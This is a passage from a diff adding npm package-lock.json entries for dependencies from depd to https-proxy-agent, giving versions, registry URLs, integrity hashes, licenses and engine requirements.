">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/destr": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/destr/-/destr-2.0.5.tgz", + "integrity": "sha512-ugFTXCtDZunbzasqBxrK93Ik/DRYsO6S/fedkWEMKqt04xZ4csmnmwGDBAb07QWNaGMAmnTIemsYZCksjATwsA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/dezalgo": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/dezalgo/-/dezalgo-1.0.4.tgz", + "integrity": "sha512-rXSP0bf+5n0Qonsb+SVVfNfIsimO4HEtmnIpPHY8Q1UCzKlQrDMfdobr8nJOOsRgWCyMRqeSBQzmWUMq7zvVig==", + "dev": true, + "license": "ISC", + "dependencies": { + "asap": "^2.0.0", + "wrappy": "1" + } + }, + "node_modules/dotenv": { + "version": "17.4.2", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-17.4.2.tgz", + "integrity": "sha512-nI4U3TottKAcAD9LLud4Cb7b2QztQMUEfHbvhTH09bqXTxnSie8WnjPALV/WMCrJZ6UV/qHJ6L03OqO3LcdYZw==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/ecdsa-sig-formatter": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz", + "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==", + "license": "Apache-2.0", + "dependencies": { + "safe-buffer": "^5.0.1" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/effect": { + "version": "3.20.0", + "resolved": "https://registry.npmjs.org/effect/-/effect-3.20.0.tgz", + "integrity": "sha512-qMLfDJscrNG8p/aw+IkT9W7fgj50Z4wG5bLBy0Txsxz8iUHjDIkOgO3SV0WZfnQbNG2VJYb0b+rDLMrhM4+Krw==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "@standard-schema/spec": "^1.0.0", + "fast-check": "^3.23.1" + } + }, + "node_modules/elkjs": { + "version": "0.11.1", + "resolved": "https://registry.npmjs.org/elkjs/-/elkjs-0.11.1.tgz", + "integrity": "sha512-zxxR9k+rx5ktMwT/FwyLdPCrq7xN6e4VGGHH8hA01vVYKjTFik7nHOxBnAYtrgYUB1RpAiLvA1/U2YraWxyKKg==", + "devOptional": true, + "license": "EPL-2.0" + }, + "node_modules/embedded-postgres": { + "version": "18.4.0-beta.17", + "resolved": "https://registry.npmjs.org/embedded-postgres/-/embedded-postgres-18.4.0-beta.17.tgz", + "integrity": "sha512-ORT/A1YiO6ecpRHpyIIBgyCR/8ASqqYZuFw11aX9PkqTX3FUM5+9sNOXY1mGIixxsm2TWSIA5WghJEk7A5ZxVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "async-exit-hook": "^2.0.1", + "pg": "^8.7.3" + }, + "engines": { + "node": ">=16" + }, + "optionalDependencies": { + "@embedded-postgres/darwin-arm64": "^18.4.0-beta.17", + "@embedded-postgres/darwin-x64": "^18.4.0-beta.17", + "@embedded-postgres/linux-arm": "^18.4.0-beta.17", + "@embedded-postgres/linux-arm64": "^18.4.0-beta.17", + "@embedded-postgres/linux-ia32": "^18.4.0-beta.17", + "@embedded-postgres/linux-ppc64": "^18.4.0-beta.17", + "@embedded-postgres/linux-x64": "^18.4.0-beta.17", + "@embedded-postgres/windows-x64": "^18.4.0-beta.17" + } + }, + "node_modules/empathic": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/empathic/-/empathic-2.0.0.tgz", + "integrity": "sha512-i6UzDscO/XfAcNYD75CfICkmfLedpyPDdozrLMmQc5ORaQcdMoc21OnlEylMIqI7U8eniKrPMxxtj8k0vhmJhA==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": ">=14" + } + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/env-paths": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", + "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", + "devOptional": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.3.2.tgz", + "integrity": "sha512-poHGpORABojJJucnV9KbOavETW8lBVnphkW77ER5/BQ5Fz7oXSoCNek7IH3vR5nRjdsEz926ibFYX8KtLQmdyw==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.28.2", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.28.2.tgz", + "integrity": "sha512-HKVLS8dvII+xoKW9kmqxbRKrnWEXfJJr/FZhhJmiqIB0e053QNYFqOBouTMO/k5sID4MvCiUCvv8b9M4h32wIA==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.28.2", + "@esbuild/android-arm": "0.28.2", + "@esbuild/android-arm64": "0.28.2", + "@esbuild/android-x64": "0.28.2", + "@esbuild/darwin-arm64": "0.28.2", + "@esbuild/darwin-x64": "0.28.2", + "@esbuild/freebsd-arm64": "0.28.2", + "@esbuild/freebsd-x64": "0.28.2", + "@esbuild/linux-arm": "0.28.2", + "@esbuild/linux-arm64": "0.28.2", + "@esbuild/linux-ia32": "0.28.2", + "@esbuild/linux-loong64": "0.28.2", + "@esbuild/linux-mips64el": "0.28.2", + "@esbuild/linux-ppc64": "0.28.2", + "@esbuild/linux-riscv64": "0.28.2", + "@esbuild/linux-s390x": "0.28.2", + "@esbuild/linux-x64": "0.28.2", + "@esbuild/netbsd-arm64": "0.28.2", + "@esbuild/netbsd-x64": "0.28.2", + "@esbuild/openbsd-arm64": "0.28.2", + "@esbuild/openbsd-x64": "0.28.2", + "@esbuild/openharmony-arm64": "0.28.2", + "@esbuild/sunos-x64": "0.28.2", + "@esbuild/win32-arm64": "0.28.2", + "@esbuild/win32-ia32": "0.28.2", + "@esbuild/win32-x64": "0.28.2" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/eventsource": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/eventsource/-/eventsource-4.1.1.tgz", + "integrity": "sha512-D6bTRWh6KahHTK/m4WnjPQyEinNPf9eFLEZSEoj7d6fTibspnAVYfzHvirL7u/aoX5d9YYfIkBVAhmigUELk9w==", + "license": "MIT", + "dependencies": { + "eventsource-parser": "^3.0.1" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/eventsource-parser": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/eventsource-parser/-/eventsource-parser-3.1.1.tgz", + "integrity": "sha512-EKN1vKAMcZ8MlYMpaNuxN6R9yakzH6uajHcHVTqWJzvu5pWw9DyhbP35HH8MVBQ+dZjAfDxk+A8NiR9KWaXiyQ==", + "license": "MIT", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/expect-type": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.4.0.tgz", + "integrity": "sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/express": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/express/-/express-5.2.1.tgz", + "integrity": "sha512-hIS4idWWai69NezIdRt2xFVofaF4j+6INOpJlVOLDO8zXGpUVEVzIYk12UUi2JzjEzWL3IOAxcTubgz9Po0yXw==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.2.1", + "content-disposition": "^1.0.0", + "content-type": "^1.0.5", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.7", + "qs": "^6.14.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.0.1", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/exsolve": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/exsolve/-/exsolve-1.1.3.tgz", + "integrity": "sha512-kuzL9zherLQoqDeQaS55AiiIg1kb4KYXaSusTtgZTPlvKP2gGCI82LNmBNh5RjDVUXIcmgx+/Mx7vPwRzBbhJA==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/fast-check": { + "version": "3.23.2", + "resolved": "https://registry.npmjs.org/fast-check/-/fast-check-3.23.2.tgz", + "integrity": "sha512-h5+1OzzfCC3Ef7VbtKdcv7zsstUQwUDlYpUTvjeUsJAssPgLn7QzbboPtL5ro04Mq0rPOsMzl7q5hIbRs2wD1A==", + "devOptional": true, + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/dubzzz" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fast-check" + } + ], + "license": "MIT", + "dependencies": { + "pure-rand": "^6.1.0" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/fast-decode-uri-component": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/fast-decode-uri-component/-/fast-decode-uri-component-1.0.1.tgz", + "integrity": "sha512-WKgKWg5eUxvRZGwW8FvfbaH7AXSh2cL+3j5fMGzUMCxWBJ3dV3a7Wz8y2f/uQ0e3B6WmodD3oS54jTQ9HVTIIg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/fast-querystring": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/fast-querystring/-/fast-querystring-1.1.2.tgz", + "integrity": "sha512-g6KuKWmFXc0fID8WWH0jit4g0AGBoJhCkJMb1RmbsSEUNvQ+ZC8D6CUZ+GtF8nMzSPXnhiePyyqqipzNNEnHjg==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "fast-decode-uri-component": "^1.0.1" + } + }, + "node_modules/fast-safe-stringify": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz", + "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", + "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", + "devOptional": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/feaxios": { + "version": "0.0.23", + "resolved": "https://registry.npmjs.org/feaxios/-/feaxios-0.0.23.tgz", + "integrity": "sha512-eghR0A21fvbkcQBgZuMfQhrXxJzC0GNUGC9fXhBge33D+mFDTwl0aJ35zoQQn575BhyjQitRc5N4f+L4cP708g==", + "license": "MIT", + "dependencies": { + "is-retry-allowed": "^3.0.0" + } + }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/find-my-way": { + "version": "9.7.0", + "resolved": "https://registry.npmjs.org/find-my-way/-/find-my-way-9.7.0.tgz", + "integrity": "sha512-f2JHn75x2JlwUwLenZypgczR7YWMb/uO9BvUXtus+JMgkbIkLADd38cI4EiV+OQqrGo1Zlq6V8wnqMJ8e62wUQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-querystring": "^1.0.0", + "safe-regex2": "^5.0.0" + }, + "engines": { + "node": ">=20" + } + }, + "node_modules/follow-redirects": { + "version": "1.16.1", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.16.1.tgz", + "integrity": "sha512-FNvFGzoMLWmE6Yj9spb/zjd7yiNCHiAW9/Tg9CXrQ8wuu32HtlJOwWO11OJafl5FfY3DxTdQ0vj42zU1kvv5jg==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "devOptional": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/formidable": { + "version": "3.5.4", + "resolved": "https://registry.npmjs.org/formidable/-/formidable-3.5.4.tgz", + "integrity": "sha512-YikH+7CUTOtP44ZTnUhR7Ic2UASBPOqmaRkRKxRbywPTe5VxF7RRCck4af9wutiZ/QKM5nME9Bie2fFaPz5Gug==", + "dev": true, + "license": "MIT", + "dependencies": { + "@paralleldrive/cuid2": "^2.2.2", + "dezalgo": "^1.0.4", + "once": "^1.4.0" + }, + "engines": { + "node": ">=14.0.0" + }, + "funding": { + "url": "https://ko-fi.com/tunnckoCore/commissions" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/generate-function": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/generate-function/-/generate-function-2.3.1.tgz", + "integrity": "sha512-eeB5GfMNeevm/GRYq20ShmsaGcmI81kIX2K9XQx5miC8KdHaC6Jm0qQ8ZNeGOi7wYB8OsdxKs+Y2oVuTFuVwKQ==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "is-property": "^1.0.2" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-port-please": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/get-port-please/-/get-port-please-3.2.0.tgz", + "integrity": "sha512-I9QVvBw5U/hw3RmWpYKRumUeaDgxTPd401x364rLmWBJcOQ753eov1eTgzDqRG9bqFIfDc7gfzcQEWrUri3o1A==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/giget": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/giget/-/giget-3.3.1.tgz", + "integrity": "sha512-r+mvuDjrjMpsdw46Kmeydb8bdHm7wOKw8wNBtTndkjbPjgAp5oUJUxRE76wZFknxIPokfWvep2qSXK37aXE6zg==", + "devOptional": true, + "license": "MIT", + "bin": { + "giget": "dist/cli.mjs" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "devOptional": true, + "license": "ISC" + }, + "node_modules/grammex": { + "version": "3.1.13", + "resolved": "https://registry.npmjs.org/grammex/-/grammex-3.1.13.tgz", + "integrity": "sha512-LnPnhOBLEJEVKS8WFDVaA397L9Kq55Q9oSITJiVLHVdhAclfUkWzQv74KhvZHKL2Q09Pb1XdsrOsZ4LfTFFTEg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/graphmatch": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/graphmatch/-/graphmatch-1.1.1.tgz", + "integrity": "sha512-5ykVn/EXM1hF0XCaWh05VbYvEiOL2lY1kBxZtaYsyvjp7cmWOU1XsAdfQBwClraEofXDT197lFbXOEVMHpvQOg==", + "devOptional": true, + "license": "MIT" + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-errors": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-2.0.1.tgz", + "integrity": "sha512-4FbRdAX+bSdmo4AUFuS0WNiPz8NgFt+r8ThgNWmlrjQjt1Q7ZR9+zTlce2859x4KSXrwIsaeTqDoKQmtP8pLmQ==", + "license": "MIT", + "dependencies": { + "depd": "~2.0.0", + "inherits": "~2.0.4", + "setprototypeof": "~1.2.0", + "statuses": "~2.0.2", + "toidentifier": "~1.0.1" + }, + "engines": { + "node": ">= 0.8" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 